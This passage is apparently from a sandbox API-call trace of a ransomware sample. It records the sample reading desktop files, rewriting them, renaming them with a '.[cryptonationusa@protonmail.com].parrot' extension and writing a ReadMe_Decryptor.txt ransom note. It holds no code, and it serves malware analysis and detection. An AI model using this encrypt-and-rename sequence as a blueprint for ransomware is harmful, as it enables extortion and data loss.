hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0033.106] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0033.107] GetLastError () returned 0x0 [0033.107] SetLastError (dwErrCode=0x0) [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2700 | out: hHeap=0x5b0000) returned 1 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbf98 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x606a50 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.107] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.107] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0033.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0033.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5cbf98 [0033.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d2058 [0033.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cc550 [0033.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0033.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0033.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0033.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0033.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0033.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0033.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0033.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0033.109] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0033.109] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0033.109] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0033.109] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x630900 [0033.109] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0033.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x6373e0 [0033.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x630900 | out: hHeap=0x5b0000) returned 1 [0033.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x665318 [0033.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6373e0 | out: hHeap=0x5b0000) returned 1 [0033.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x629218 [0033.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x665318 | out: hHeap=0x5b0000) returned 1 [0033.113] WriteFile (in: hFile=0x258, lpBuffer=0x629220*, nNumberOfBytesToWrite=0x122e8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x629220*, lpNumberOfBytesWritten=0x18fa94*=0x122e8, lpOverlapped=0x0) returned 1 [0033.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0033.113] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x122e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0033.113] CloseHandle (hObject=0x258) returned 1 [0033.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x606bd8 [0033.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d7858 [0033.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606bd8 | out: hHeap=0x5b0000) returned 1 [0033.114] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S2zcxZhP3BFnWbv5.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s2zcxzhp3bfnwbv5.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S2zcxZhP3BFnWbv5.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s2zcxzhp3bfnwbv5.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0033.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d7858 | out: hHeap=0x5b0000) returned 1 [0033.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0033.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0033.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0033.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0033.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0033.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0033.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0033.116] GetFileType (hFile=0x258) returned 0x1 [0033.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0033.126] lstrcmpW (lpString1="sNPOthw9LEkpHa.mp4", lpString2="ReadMe_Decryptor.txt") returned 1 [0033.127] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sNPOthw9LEkpHa.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\snpothw9lekpha.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0033.127] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x4ebe [0033.127] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4fd6, nNumberOfBytesToLockHigh=0x0) returned 1 [0033.127] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0033.127] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0033.127] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.127] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4ebe, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x4ebe, lpOverlapped=0x0) returned 1 [0033.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0033.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0033.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0033.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0033.127] GetLastError () returned 0x0 [0033.127] SetLastError (dwErrCode=0x0) [0033.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2700 [0033.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0033.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0033.128] GetLastError () returned 0x0 [0033.128] SetLastError (dwErrCode=0x0) [0033.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.128] GetLastError () returned 0x0 [0033.128] SetLastError (dwErrCode=0x0) [0033.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0033.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0033.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0033.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0033.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0033.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0033.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0033.129] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0033.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x606998 [0033.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0033.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0033.130] GetLastError () returned 0x0 [0033.130] SetLastError (dwErrCode=0x0) [0033.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2700 | out: hHeap=0x5b0000) returned 1 [0033.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0033.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbf98 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x606a50 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.131] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5cbf98 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d2058 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cc550 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0033.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0033.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0033.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0033.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0033.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0033.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0033.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0033.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0033.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0033.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0033.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0033.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x635298 [0033.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0033.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6399e8 [0033.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0033.134] WriteFile (in: hFile=0x258, lpBuffer=0x639a00*, nNumberOfBytesToWrite=0x4fd8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x639a00*, lpNumberOfBytesWritten=0x18fa94*=0x4fd8, lpOverlapped=0x0) returned 1 [0033.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6399e8 | out: hHeap=0x5b0000) returned 1 [0033.134] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4fd6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0033.134] CloseHandle (hObject=0x258) returned 1 [0033.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x606bd8 [0033.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d7858 [0033.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606bd8 | out: hHeap=0x5b0000) returned 1 [0033.136] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sNPOthw9LEkpHa.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\snpothw9lekpha.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sNPOthw9LEkpHa.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\snpothw9lekpha.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0033.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d7858 | out: hHeap=0x5b0000) returned 1 [0033.137] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0033.137] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0033.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0033.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0033.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0033.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0033.137] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0033.138] GetFileType (hFile=0x258) returned 0x1 [0033.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0033.147] lstrcmpW (lpString1="xPcPJw2tmQ2ALIu.doc", lpString2="ReadMe_Decryptor.txt") returned 1 [0033.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xPcPJw2tmQ2ALIu.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xpcpjw2tmq2aliu.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0033.147] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x18438 [0033.148] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18550, nNumberOfBytesToLockHigh=0x0) returned 1 [0033.148] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0033.148] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0033.148] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.148] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18438, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 